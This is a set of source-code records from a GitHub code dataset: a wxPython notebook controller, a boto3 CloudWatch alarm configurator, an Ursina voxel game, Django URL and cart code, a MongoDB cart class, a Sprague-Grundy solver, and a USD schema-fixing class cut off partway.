self.parent.opened_projects[project_name]\n\t\n\tdef select_last_page(self):\n\t\tself.SetSelection(self.PageCount-1)\n\t\n\tdef get_selected_page(self):\n\t\tsel = self.GetSelection()\n\t\t\n\t\tif sel != -1:\n\t\t\treturn self.GetPage(sel)\n\t\n\tdef get_selected_page_text(self):\n\t\tsel = self.GetSelection()\n\t\t\n\t\tif sel != -1:\n\t\t\treturn self.GetPageText(sel)\n\t\n\tdef get_selected_project(self):\n\t\tsel = self.GetSelection()\n\t\t\n\t\tif sel != -1:\n\t\t\treturn self.get_project_by_index(sel)\n\t\n\tdef get_selected_project_panel(self):\n\t\tsel = self.GetSelection()\n\t\t\n\t\tif sel != -1:\n\t\t\treturn self.get_project_panel_by_index(sel)\n\t\n\tdef get_page_by_index(self, index):\n\t\treturn self.GetPage(index)\n\t\n\tdef get_project_panel_by_index(self, index):\n\t\tif isinstance(self.GetPage(index), Project.ProjectDataPanel):\n\t\t\treturn self.GetPage(index)\n\t\n\tdef get_project_by_index(self, index):\n\t\tif isinstance(self.GetPage(index), Project.ProjectDataPanel):\n\t\t\treturn self.GetPage(index).project\n\t\n\tdef iter_project_panels(self):\n\t\tfor tab_idx in range(self.GetPageCount()):\n\t\t\tpage = self.get_page_by_index(tab_idx)\n\t\t\tif isinstance(page, Project.ProjectDataPanel):\n\t\t\t\tyield page\n\t\n\tdef switch_to_project(self, project_name):\n\t\t\"\"\"\n\t\tSwitch the notebook focus to the desired project\n\n\t\t:param project_name:\n\t\t:type project_name:\n\n\t\t:return: The index of the tab representing the desired project\n\t\t:rtype: int\n\t\t\"\"\"\n\t\t\n\t\tprint(project_name)\n\t\tfor tab_idx in range(self.PageCount):\n\t\t\tif self.GetPageText(tab_idx) != \"Welcome\":\n\t\t\t\tif self.GetPage(tab_idx).name == project_name:\n\t\t\t\t\tself.SetSelection(tab_idx)\n\t\t\t\t\treturn tab_idx\n\t\n\tdef on_nb_sel_changed(self, _):\n\t\t# print(\"Notebook Sel Changed\")\n\t\t# print(self.get_selected_page())\n\t\t\n\t\tif isinstance(self.get_selected_page(), Project.ProjectDataPanel):\n\t\t\t# print(self.get_selected_page().get_selected_page())\n\t\t\t\n\t\t\tif isinstance(self.get_selected_page().get_selected_page(), Experiment.ExperimentDataPanel):\n\t\t\t\t# print(self.get_selected_page().get_selected_page().get_selected_page())\n\t\t\t\t\n\t\t\t\tpub.sendMessage(\"toggle_expr_tools\", enable=True)\n\t\t\t\t\n\t\t\t\tif self.get_selected_page().get_selected_page().get_selected_page_text() == \"TIC\":\n\t\t\t\t\tpub.sendMessage(\"toggle_view_tools\", enable=True)\n\t\t\t\telse:\n\t\t\t\t\tpub.sendMessage(\"toggle_view_tools\", enable=False)\n\t\t\t\t\t\n\t\t\telif isinstance(self.get_selected_page().get_selected_page(), Project.CompoundsDataPanel) \\\n\t\t\t\tand isinstance(self.get_selected_page().get_selected_page().get_selected_page(), Project.DataViewer):\n\t\t\t\t\n\t\t\t\tpub.sendMessage(\"toggle_expr_tools\", enable=True)\n\t\t\t\tpub.sendMessage(\"toggle_view_tools\", enable=True)\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tpub.sendMessage(\"toggle_view_tools\", enable=False)\n\t\t\t\tpub.sendMessage(\"toggle_expr_tools\", enable=False)\n\t\telse:\n\t\t\t# # Welcome Page\n\t\t\t# if use_cefpython:\n\t\t\t# \tpage = self.get_selected_page()\n\t\t\t# \tif isinstance(page, BrowserPanel):\n\t\t\t# \t\tif self.GetHandle():\n\t\t\t# \t\t\tpage.embed_browser(self)\n\t\t\t\n\t\t\tpub.sendMessage(\"toggle_view_tools\", enable=False)\n\t\t\tpub.sendMessage(\"toggle_expr_tools\", enable=False)\n\t\t\n\t\tpub.sendMessage(\"refresh_menus\")\n\t\t\n\t\twx.CallAfter(self.freeze_hidden_tabs)\n\t\t\n\t\t# Ask GunShotMatch to check whether project has alignment, ident, consolidate etc data and disable menu options\n\t\t\n\tdef freeze_hidden_tabs(self):\n\t\t# print(self.get_selected_page_text())\n\t\tfor page_idx in range(self.GetPageCount()):\n\t\t\t# print(self.GetPageText(page_idx))\n\t\t\tif self.GetPage(page_idx).IsShownOnScreen():\n\t\t\t\tif self.GetPage(page_idx).IsFrozen():\n\t\t\t\t\tself.GetPage(page_idx).Thaw()\n\t\t\telse:\n\t\t\t\tif not self.GetPage(page_idx).IsFrozen():\n\t\t\t\t\tself.GetPage(page_idx).Freeze()\n\t\n\tdef update_titles(self, event=None):\n\t\tcurrent_project_idx = self.GetSelection()\n\t\tcurrent_project_panel = self.GetPage(current_project_idx)\n\t\tif current_project_panel.project.unsaved_changes:\n\t\t\tself.SetPageText(current_project_idx, f\"{current_project_panel.project.name}*\")\n\t\telse:\n\t\t\tself.SetPageText(current_project_idx, current_project_panel.project.name)\n\t\t\n\t\tcurrent_project_panel.refresh_date_modified_value()\n\t\n\tdef switch_to_project_content(self, project, page_title):\n\t\t# Switch notebook to that project and switch the next notebook to the info tab\n\t\ttab_idx = self.switch_to_project(project)\n\t\tproject_panel = self.GetPage(tab_idx)\n\t\tp_tab_idx = project_panel.switch_to_content(page_title)\n\t\treturn tab_idx, p_tab_idx\n\t\n\tdef switch_to_experiment_content(self, project, expr_name, page_title):\n\t\t# Switch notebook to the specified project, experiment and page\n\t\ttab_idx = self.switch_to_project(project)\n\t\tproject_panel = self.GetPage(tab_idx)\n\t\tp_tab_idx, e_tab_idx = project_panel.switch_to_experiment_content(expr_name, page_title)\n\t\treturn tab_idx, p_tab_idx, e_tab_idx\n\t\n\tdef switch_to_compounds_content(self, project, page_title):\n\t\t# Switch notebook to the specified project, then the Comppunds tab, and finally the specified page\n\t\ttab_idx = self.switch_to_project(project)\n\t\tproject_panel = self.GetPage(tab_idx)\n\t\tp_tab_idx, c_tab_idx = project_panel.switch_to_compounds_content(page_title)\n\t\treturn tab_idx, p_tab_idx, c_tab_idx\n\t\n\tdef _pass_through_view_event(self, method):\n\t\tselected_page = self.get_selected_project_panel().get_selected_page()\n\t\t\n\t\tif isinstance(selected_page, Experiment.ExperimentDataPanel):\n\t\t\tattr = getattr(selected_page.experiment_tic, method)\n\t\t\tattr()\n\t\t\n\t\telif isinstance(selected_page, Project.CompoundsDataPanel):\n\t\t\tif isinstance(selected_page.get_selected_page(), Project.DataViewer):\n\t\t\t\tattr = getattr(selected_page.get_selected_page(), method)\n\t\t\t\tattr()\n\t\t\n\t\telse:\n\t\t\treturn\n\t\t\t\n\tdef on_reset_view(self, event):  # wxGlade: GunShotMatch.<event_handler>\n\t\tself._pass_through_view_event(\"reset_view\")\n\t\tevent.Skip()\n\t\n\tdef on_previous_view(self, event):  # wxGlade: GunShotMatch.<event_handler>\n\t\tself._pass_through_view_event(\"previous_view\")\n\t\tevent.Skip()\n\t\t\n\tdef on_rescale_y(self, event):\n\t\tself._pass_through_view_event(\"rescale_y\")\n\t\tevent.Skip()\n\t\t\n\tdef on_rescale_x(self, event):\n\t\tself._pass_through_view_event(\"rescale_x\")\n\t\tevent.Skip()\n\t\n\tdef on_spectrum_scan(self, _):  # wxGlade: GunShotMatch.<event_handler>\n\t\tif not isinstance(self.get_selected_page(), Project.ProjectDataPanel):\n\t\t\t# Project not currently selected\n\t\t\treturn\n\t\t\n\t\tself.get_selected_page().view_spectrum_by_scan()\n\t\n\tdef on_spectrum_rt(self, _):  # wxGlade: GunShotMatch.<event_handler>\n\t\tif not isinstance(self.get_selected_page(), Project.ProjectDataPanel):\n\t\t\t# Project not currently selected\n\t\t\treturn\n\t\t\n\t\tself.get_selected_page().view_spectrum_by_rt()\n","repo_name":"domdfcoding/GunShotMatch","sub_path":"GuiV2/GSMatch2_Core/GUI/notebook.py","file_name":"notebook.py","file_ext":"py","file_size_in_byte":9889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38287873634","text":"import logging\nfrom datetime import datetime, timedelta\nimport boto3\nfrom botocore.exceptions import ClientError\n\nfrom src.config import config\n\nlogging.basicConfig(level=config.LOGLEVEL)\nlogger = logging.getLogger(__name__)\n\nsession = boto3.Session(region_name=config.REGION_NAME)\n\n\nclass CloudWatchAlarmSetter(object):\n    def __init__(self, topic):\n        self.topic = topic\n        self._cw = session.resource('cloudwatch')\n        self._metrics = self._metrics_get()\n\n    # 得到 metrics 列表, 只收录近 3 小时有数据上报的 metrics\n    def _metrics_get(self):\n        # 首先取得 3 小时内有数据的 metrics\n        try:\n            metric_iterator = self._cw.metrics.filter(\n                RecentlyActive='PT3H')\n        except ClientError as error:\n            print(error.response['Error']['Code'])\n            raise error\n        return metric_iterator\n\n    # 确认近 10 分钟是否有数据上传\n    def _metric_data_stat_get(self, metric):\n        response = self._cw.meta.client.get_metric_statistics(\n            Namespace=metric.namespace,\n            MetricName=metric.metric_name,\n            Dimensions=metric.dimensions,\n            StartTime=datetime.utcnow() - timedelta(minutes=10),\n            EndTime=datetime.utcnow(),\n            Period=600,\n            Statistics=[\n                'Sum',\n            ]\n        )\n        return response.get('Datapoints')\n\n    # 告警配置1： 每分钟检查一次，如果 5 次检查中有 3 次，内存平均占用等于或超过 90% 则触发报警状态\n    def ec2_mem_alarm_put(self):\n        alarms = []\n        alarm_description = '实例内存不足.'\n        alarm_actions = self.topic.arn\n        alarm_name_prefix = 'InsufficientMemory'\n        namespace = 'CWAgent'\n        metric_name = 'mem_used_percent'\n        metrics = [m for m in self._metrics if m.namespace == namespace and m.metric_name == metric_name]\n        for metric in metrics:\n            # 10 分钟内没有过数据则跳过\n            if not self._metric_data_stat_get(metric):\n                continue\n            instance_ids = [d.get('Value') for d in metric.dimensions if d.get('Name') == 'InstanceId']\n            if instance_ids:\n                instance_id = instance_ids.pop()\n                alarm_name = alarm_name_prefix + '-' + instance_id\n                try:\n                    alarm = metric.put_alarm(\n                        AlarmName=alarm_name,\n                        AlarmDescription=alarm_description,\n                        ActionsEnabled=True,\n                        AlarmActions=[\n                            alarm_actions,\n                        ],\n                        Dimensions=metric.dimensions,\n                        Statistic='Average',\n                        Period=60,\n                        Unit='Percent',\n                        EvaluationPeriods=5,\n                        DatapointsToAlarm=3,\n                        Threshold=90.0,\n                        ComparisonOperator='GreaterThanOrEqualToThreshold'\n                    )\n                    logger.info('成功添加或更新 Alarm {}.'.format(alarm.alarm_name))\n                    alarms.append(alarm)\n                except ClientError as error:\n                    print(error.response['Error']['Code'])\n                    raise error\n        return alarms\n\n    # 告警配置2： 每 2 分钟检查一次，如果 3 次检查中有 2 次 CPUCreditBalance 平均低于或等于 5 则触发报警状态\n    def ec2_cpu_alarm_put(self):\n        alarms = []\n        alarm_description = 'T 系列实例 CPU 信用余额不足.'\n        alarm_actions = self.topic.arn\n        alarm_name_prefix = 'CPUCreditBalance'\n        namespace = 'AWS/EC2'\n        metric_name = 'CPUCreditBalance'\n        metrics = [m for m in self._metrics if m.namespace == namespace and m.metric_name == metric_name]\n        for metric in metrics:\n            # 10 分钟内没有过数据则跳过\n            if not self._metric_data_stat_get(metric):\n                continue\n            instance_ids = [d.get('Value') for d in metric.dimensions if d.get('Name') == 'InstanceId']\n            if instance_ids:\n                instance_id = instance_ids.pop()\n                alarm_name = alarm_name_prefix + '-' + instance_id\n                try:\n                    alarm = metric.put_alarm(\n                        AlarmName=alarm_name,\n                        AlarmDescription=alarm_description,\n                        ActionsEnabled=True,\n                        AlarmActions=[\n                            alarm_actions,\n                        ],\n                        Dimensions=metric.dimensions,\n                        Statistic='Average',\n                        Period=120,\n                        Unit='Count',\n                        EvaluationPeriods=3,\n                        DatapointsToAlarm=2,\n                        Threshold=5,\n                        ComparisonOperator='LessThanOrEqualToThreshold'\n                    )\n                    logger.info('成功添加或更新 Alarm {}.'.format(alarm.alarm_name))\n                    alarms.append(alarm)\n                except ClientError as error:\n                    print(error.response['Error']['Code'])\n                    raise error\n        return alarms\n\n    # 告警配置3： 每分钟检查一次，如果 5 检查中有 2 次，磁盘 BurstBalance 等于或低于 10% 则触发报警\n    def ebs_disk_alarm_put(self):\n        alarms = []\n        alarm_description = 'gp2 类型 SSD 突发余额不足.'\n        alarm_actions = self.topic.arn\n        alarm_name_prefix = 'EBSBurstBalance'\n        namespace = 'AWS/EBS'\n        metric_name = 'BurstBalance'\n        metrics = [m for m in self._metrics if m.namespace == namespace and m.metric_name == metric_name]\n        for metric in metrics:\n            # 10 分钟内没有过数据则跳过\n            if not self._metric_data_stat_get(metric):\n                continue\n            volume_ids = [d.get('Value') for d in metric.dimensions if d.get('Name') == 'VolumeId']\n            if volume_ids:\n                volume_id = volume_ids.pop()\n                alarm_name = alarm_name_prefix + '-' + volume_id\n                try:\n                    alarm = metric.put_alarm(\n                        AlarmName=alarm_name,\n                        AlarmDescription=alarm_description,\n                        ActionsEnabled=True,\n                        AlarmActions=[\n                            alarm_actions,\n                        ],\n                        Dimensions=metric.dimensions,\n                        Statistic='Average',\n                        Period=60,\n                        Unit='Percent',\n                        EvaluationPeriods=5,\n                        DatapointsToAlarm=2,\n                        Threshold=10,\n                        ComparisonOperator='LessThanOrEqualToThreshold'\n                    )\n                    logger.info('成功添加或更新 Alarm {}.'.format(alarm.alarm_name))\n                    alarms.append(alarm)\n                except ClientError as error:\n                    print(error.response['Error']['Code'])\n                    raise error\n        return alarms\n\n    # 告警配置4：每 5 分钟检查一次，如果 3 次检查中有 1 次，NetworkIn/NetworkOut 合计等于或高于 10M bps 则触发报警\n    def ec2_net_alarm_put(self):\n        alarms = []\n        alarm_description = '网络流量超出.'\n        alarm_actions = self.topic.arn\n        alarm_name_prefix = 'NetThroughput'\n        namespace = 'AWS/EC2'\n        metric_names = ('NetworkIn', 'NetworkOut')\n        metrics = [m for m in self._metrics if m.namespace == namespace and m.metric_name == metric_names[0]]\n        for metric in metrics:\n            # 10 分钟内没有过数据则跳过\n            if not self._metric_data_stat_get(metric):\n                continue\n            instance_ids = [d.get('Value') for d in metric.dimensions if d.get('Name') == 'InstanceId']\n            if instance_ids:\n                instance_id = instance_ids.pop()\n                alarm_name = alarm_name_prefix + '-' + instance_id\n                try:\n                    self._cw.meta.client.put_metric_alarm(\n                        AlarmName=alarm_name,\n                        AlarmDescription=alarm_description,\n                        ActionsEnabled=True,\n                        AlarmActions=[\n                            alarm_actions,\n                        ],\n                        Metrics=[\n                            {\n                                'Id': 'in',\n                                'MetricStat': {\n                                    'Metric': {\n                                        'Namespace': namespace,\n                                        'MetricName': metric_names[0],\n                                        'Dimensions': metric.dimensions\n                                    },\n                                    'Period': 300,\n                                    'Stat': 'Sum',\n                                    'Unit': 'Bytes'\n                                },\n                                'ReturnData': False,\n                            },\n                            {\n                                'Id': 'out',\n                                'MetricStat': {\n                                    'Metric': {\n                                        'Namespace': namespace,\n                                        'MetricName': metric_names[1],\n                                        'Dimensions': metric.dimensions\n                                    },\n                                    'Period': 300,\n                                    'Stat': 'Sum',\n                                    'Unit': 'Bytes'\n                                },\n                                'ReturnData': False,\n                            },\n                            {\n                                'Id': 'combined',\n                                'Expression': '(in + out)/300*8/1024/1024',\n                                'Label': 'NetThroughput',\n                                'ReturnData': True,\n                                'Period': 300\n                            }\n                        ],\n                        EvaluationPeriods=3,\n                        DatapointsToAlarm=1,\n                        Threshold=10,\n                        ComparisonOperator='GreaterThanOrEqualToThreshold'\n                    )\n                    alarm = self._cw.Alarm(alarm_name)\n                    logger.info('成功添加或更新 Alarm {}.'.format(alarm.alarm_name))\n                    alarms.append(alarm)\n                except ClientError as error:\n                    print(error.response['Error']['Code'])\n                    raise error\n        return alarms\n\n    # 告警配置5: 网络流量异常, 连续 2 个周期 (5*2 = 10分钟), 出站流量平均值波动超过 3 个标准差即报警\n    # 不支持表达式\n    def ec2_net_anomaly_detection_put(self):\n        alarms = []\n        alarm_description = '网络流量异常.'\n        alarm_actions = self.topic.arn\n        alarm_name_prefix = 'NetAnomalyDetection'\n        namespace = 'AWS/EC2'\n        metric_name = 'NetworkOut'\n        metrics = [m for m in self._metrics if m.namespace == namespace and m.metric_name == metric_name]\n        for metric in metrics:\n            # 10 分钟内没有过数据则跳过\n            if not self._metric_data_stat_get(metric):\n                continue\n            instance_ids = [d.get('Value') for d in metric.dimensions if d.get('Name') == 'InstanceId']\n            if instance_ids:\n                instance_id = instance_ids.pop()\n                alarm_name = alarm_name_prefix + '-' + instance_id\n                try:\n                    self._cw.meta.client.put_metric_alarm(\n                        AlarmName=alarm_name,\n                        AlarmDescription=alarm_description,\n                        ActionsEnabled=True,\n                        AlarmActions=[\n                            alarm_actions,\n                        ],\n                        Metrics=[\n                            {\n                                'Id': 'out',\n                                'MetricStat': {\n                                    'Metric': {\n                                        'Namespace': namespace,\n                                        'MetricName': metric_name,\n                                        'Dimensions': metric.dimensions\n                                    },\n                                    'Period': 300,\n                                    'Stat': 'Average',\n                                    'Unit': 'Bytes'\n                                },\n                                'ReturnData': True,\n                            },\n                            {\n                                \"Id\": \"ad\",\n                                \"Expression\": \"ANOMALY_DETECTION_BAND(out, 3)\"\n                            }\n                        ],\n                        EvaluationPeriods=2,\n                        ThresholdMetricId=\"ad\",\n                        ComparisonOperator='LessThanLowerOrGreaterThanUpperThreshold'\n                    )\n                    alarm = self._cw.Alarm(alarm_name)\n                    logger.info('成功添加或更新 Alarm {}.'.format(alarm.alarm_name))\n                    alarms.append(alarm)\n                except ClientError as error:\n                    print(error.response['Error']['Code'])\n                    raise error\n        return alarms\n","repo_name":"laolongju/cloudwatch_alarm_automation","sub_path":"src/cloudwatch_alarm_setter.py","file_name":"cloudwatch_alarm_setter.py","file_ext":"py","file_size_in_byte":13622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13513159079","text":"from ursina import *\nfrom ursina.prefabs.first_person_controller import FirstPersonController\n\napp = Ursina()\n\ngrass_texture = load_texture(\"assets/grass_block.png\")\nstone_texture = load_texture(\"assets/stone_block.png\")\nbrick_texture = load_texture(\"assets/brick_block.png\")\ndirt_texture = load_texture(\"assets/dirt_block.png\")\n\n\nclass Voxel(Button):\n    def __init__(self, position = (0, 0, 0)):\n        super().__init__(\n            parent = scene,\n            position = position,\n            origin_y = 0.5,\n            color = color.color(0, 0, random.uniform(.9, 1.0)),\n            model = 'cube',\n            texture = 'white_cube',\n            scale = 1\n        )\n\n    def input(self, key):\n        if self.hovered:\n            if key == \"left mouse down\":\n                voxel = Voxel(position = self.position + mouse.normal)\n            if key == \"right mouse down\":\n                destroy(self)\n\n\n\nfor z in range(20):\n    for x in range(20):\n        voxel = Voxel(position=(x, 0, z))\n\nplayer = FirstPersonController()\napp.run()\n\n\n#Proyecto terminado","repo_name":"DaveAdbeel/Ursina-Game-Minecraft","sub_path":"minecraft.py","file_name":"minecraft.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"12628428919","text":"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    #youtube_textアプリへのURLパターンを追加\n    path('',include('youtube_text.urls')),\n    #アカウントアプリのURLパターンを追加\n    path('',include('user_setting.urls')),\n    #blogのURLパターンを追加\n    path('',include('blog.urls')),\n    #allauthのURL\n    # path('accounts/',include('allauth.urls')),\n\n    #PDF作成\n    path('makepdf/',include('makepdf.urls')),\n\n    #Ajax_test\n    path('ajax/',include('Ajax_test.urls')),\n\n\n]\n","repo_name":"matsubarashoki/Django_and_Selenium","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72714809040","text":"from decimal import Decimal\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\nfrom products.models import Album\n\n\ndef cart_contents(request):\n\n    cart_items = []\n    total = 0\n    product_count = 0\n    cart = request.session.get(\"cart\", {})\n\n    # Adds each item's id, quantity and album to cart_items\n    for item_id, quantity in cart.items():\n        album = get_object_or_404(Album, pk=item_id)\n        if album.special_offer_price:\n            total += quantity * album.special_offer_price\n        else:\n            total += quantity * album.price\n        product_count += quantity\n        cart_items.append(\n            {\n                \"item_id\": item_id,\n                \"quantity\": quantity,\n                \"album\": album,\n            }\n        )\n    # Calculates delivery fee\n    if total < settings.FREE_DELIVERY_THRESHOLD:\n        delivery = total * Decimal(settings.STANDARD_DELIVERY_PERCENTAGE / 100)\n        free_delivery_delta = settings.FREE_DELIVERY_THRESHOLD - total\n    else:\n        delivery = 0\n        free_delivery_delta = 0\n    # Grand total\n    grand_total = delivery + total\n\n    context = {\n        \"cart_items\": cart_items,\n        \"total\": total,\n        \"product_count\": product_count,\n        \"delivery\": delivery,\n        \"free_delivery_delta\": free_delivery_delta,\n        \"free_delivery_threshold\": settings.FREE_DELIVERY_THRESHOLD,\n        \"grand_total\": grand_total,\n    }\n\n    return context\n","repo_name":"JuanBrachoDev/Vinyl","sub_path":"cart/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9899585244","text":"def calculatemex(Set):\n    m=0\n    while m in Set:\n        m+=1\n    return m\n\ndef calculategrundy(n,dp):\n    dp[0]=0\n    dp[1]=1\n    dp[2]=2\n    dp[3]=3\n\n    if dp[n]!=-1:\n        return dp[n]\n\n    Set=set()\n    \n    for i in range(1,3):\n        Set.add(calculategrundy(n-i,dp))\n    \n    dp[n]=calculatemex(Set)\n\n    return dp[n]\n\ndef declarewinner(a,dp,n):\n    xorvalue=dp[a[0]]\n    for i in range(1,n):\n        xorvalue=xorvalue^dp[a[i]]\n    \n    if xorvalue!=0:\n        print(\"win\")\n    else:\n        print(\"lose\")\n\n\n\nfor _ in range(int(input())):\n    n=int(input())\n    a=list(map(int,input().split()))\n    mm=max(a)\n    dp=[-1]*(mm+1)\n\n    for num in a:\n        calculategrundy(num,dp)\n    \n    declarewinner(a,dp,n)\n    \n","repo_name":"NavalPangtey/Competitive-programming","sub_path":"python/algo/Sprague-grundy.py","file_name":"Sprague-grundy.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11999359051","text":"from django.db import models\nfrom utilities.utility import DatetimeUtils\nfrom application.settings import DB\n\nclass ShopItemsClass:\n    _collection_name = \"shop_cart_items\"\n    \n    def create_or_update(self, user_id, item_id):\n        cart_item = {\n            \"product_id\": item_id,\n            \"created_by_id\": user_id,\n            \"ordered\":False,\n            \"updated_at\": DatetimeUtils.get_current_time(),\n            \"created_at\": DatetimeUtils.get_current_time()\n        }\n        DB[self._collection_name].insert_one(cart_item)\n        return True\n    \n    def remove_item(self, user_id, item_id):\n        DB[self._collection_name].delete_one({'created_by_id':user_id, 'product_id': item_id, 'ordered': False})\n        return True\n\n    def get_cart(self, user_id):\n        aggr = [\n            {\n                '$match': {\n                    'created_by_id': user_id, \n                    'ordered': False\n                }\n            }, {\n                '$lookup': {\n                    'from': 'packages', \n                    'localField': 'product_id', \n                    'foreignField': 'package_id', \n                    'as': 'package_details'\n                }\n            }, {\n                '$unwind': {\n                    'path': '$package_details'\n                }\n            }, {\n                '$group': {\n                    '_id': None, \n                    'mrp_total': {\n                        '$sum': '$package_details.mrp'\n                    }, \n                    'offer_price_total': {\n                        '$sum': '$package_details.offer_price'\n                    }, \n                    'items': {\n                        '$push': {\n                            'product_id': '$product_id', \n                            'package': '$package_details.name', \n                            'discription': '$package_details.discription', \n                            'lab_name': '$package_details.lab_name', \n                            'lab_id': '$package_details.lab_id', \n                            'offer_price': '$package_details.offer_price', \n                            'mrp': '$package_details.mrp', \n                            'instruction': '$package_details.instruction'\n                        }\n                    }\n                }\n            }\n        ]\n        cart = list(DB.shop_cart_items.aggregate(aggr))\n        \n        if cart:\n            cart = cart[0]\n        else:\n            cart = {\n                \"_id\": None,\n                \"mrp_total\": 0,\n                \"offer_price_total\": 0,\n                \"items\" : []\n            }\n        return cart\n\nShopItemsModels = ShopItemsClass()","repo_name":"siddythings/testoin-project","sub_path":"webapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1213475782","text":"\"\"\"smart URL Configuration.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  re_path(r'^$', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  re_path(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.conf.urls import re_path, include\n    2. Add a URL to urlpatterns:  re_path(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import include, re_path\nfrom django.contrib import admin\nfrom django.http import HttpResponseRedirect\nfrom rest_framework_swagger.views import get_swagger_view\n\nurlpatterns = [\n    re_path(r\"^$\", lambda r: HttpResponseRedirect(\"projects/\")),\n    re_path(r\"^api/\", include(\"core.urls.api\")),\n    re_path(r\"^api-auth/\", include(\"rest_framework.urls\", namespace=\"rest_framework\")),\n    re_path(r\"^admin/\", admin.site.urls),\n    re_path(r\"^rest-auth/\", include(\"rest_auth.urls\")),\n    re_path(r\"^rest-auth/registration/\", include(\"rest_auth.registration.urls\")),\n    re_path(r\"^accounts/\", include(\"allauth.urls\")),\n    re_path(r\"^\", include(\"core.urls.projects\", namespace=\"projects\")),\n]\n\n# Don't show API docs in production\nif settings.DEBUG:\n    swagger_docs_view = get_swagger_view(title=\"SMART\")\n\n    urlpatterns.append(re_path(r\"^docs/\", swagger_docs_view))\n","repo_name":"RTIInternational/SMART","sub_path":"backend/django/smart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"3"}
+{"seq_id":"36338917519","text":"import json\nimport os\nFilePath = os.path.dirname(os.path.realpath(__file__)) + \"/\"\n\nUsers = []\n\"\"\"with open(\"GoodNight.json\", \"w\") as file:\n    file.write(json.dumps(Users))\"\"\"\nUsers = json.loads(open(FilePath + \"GoodNight.json\", \"r\").read())\ndef SavePerson(person):\n    if person in Users:\n        return\n    Users.append(person)\n    with open(\"GoodNight.json\", \"w\") as file:\n        file.write(json.dumps(Users))\n        \n","repo_name":"amiroo54/FiadBot","sub_path":"GoodNighter.py","file_name":"GoodNighter.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14745609484","text":"# Leetcode 71\n\nclass Solution:\n  def simplifyPath(self, path: str) -> str:\n    result = []\n    elements = path.split('/')\n\n    for element in elements:\n      if len(result) and element == '..':\n        result.pop()\n      elif element != '.' and element != '' and element != '..':\n        result.append(element)\n\n    result = '/'.join(result)\n    return '/' + result","repo_name":"seanwong1/leetcode-questions","sub_path":"simplifyPath.py","file_name":"simplifyPath.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34671545234","text":"class FixBrokenPixarSchemas(object):\n    \"\"\"\n    A class which takes a usdLayer and clients can apply appropriate fixes\n    defined as utility methods of this class, example FixupMaterialBindingAPI.\n\n    Every Fixup method iterates on each prim in the layer and applies specific\n    fixes.\n    \"\"\"\n    def __init__(self, usdLayer):\n        self._usdLayer = usdLayer\n        self._skelBindingAPIProps = None\n        # Keeps track if the Layer was updated by any of the Fixer method\n        self._layerUpdated = False\n\n    def _ApplyAPI(self, listOp, apiSchema):\n        if listOp.isExplicit:\n            items = listOp.explicitItems\n            items.append(apiSchema)\n            listOp.explicitItems = items\n        else:\n            items = listOp.prependedItems\n            items.append(apiSchema)\n            listOp.prependedItems = items\n        return listOp\n\n    def IsLayerUpdated(self):\n        \"\"\"\n        Returns the update status of the usdLayer, an instance of \n        FixBrokenPixarSchemas is holding. Fixer methods will set \n        self._layerUpdated to True if any of the Fixer methods applies fixes to \n        the layer.\n        \"\"\"\n        return self._layerUpdated\n\n    def FixupCoordSysAPI(self):\n        \"\"\"\n        Makes sure CoordSysAPI multiapply schema is applied and the instanced\n        binding relationship is used, instead of old non-applied CoordSysAPI\n        \"coordSys:name\" binding.\n        \"\"\"\n        def _PrimSpecProvidesCoordSysAPI(path):\n            from pxr import Sdf\n            if not path.IsPrimPath():\n                return\n            primSpec = self._usdLayer.GetPrimAtPath(path)\n            apiSchemas = primSpec.GetInfo(\"apiSchemas\")\n            # Collect all relationship which use of UsdShadeCoordSysAPI encoding\n            relationshipToUpdate = []\n            missingApiSchema = []\n            for rel in primSpec.relationships:\n                relName = rel.name\n                # is the relationship old style coordSys binding\n                if (relName.startswith(\"coordSys:\") and \\\n                        (not relName.endswith(\":binding\") or \\\n                            relName.count(\":\") == 1)):\n                    relationshipToUpdate.append(rel)\n                # Since there was no prior codepath that could have left us in a\n                # state where a \"coordSys:<name>:binding\" was added but no\n                # UsdShadeCoordSysAPI is applied with the \"<name>\", following\n                # finds and fixes missing application of UsdShadeCoordSysAPI \n                # but when new encoding relationship is present on the spec.\n                if (relName.startswith(\"coordSys:\") and \\\n                    relName.endswith(\":binding\") and \\\n                    relName.count(\":\") > 1):\n                    instanceName = rel.name.split(\"coordSys:\")[-1]. \\\n                            split(\":binding\")[0]\n                    coordSysAPIName = \"CoordSysAPI:%s\" %instanceName\n                    if not apiSchemas.HasItem(coordSysAPIName):\n                        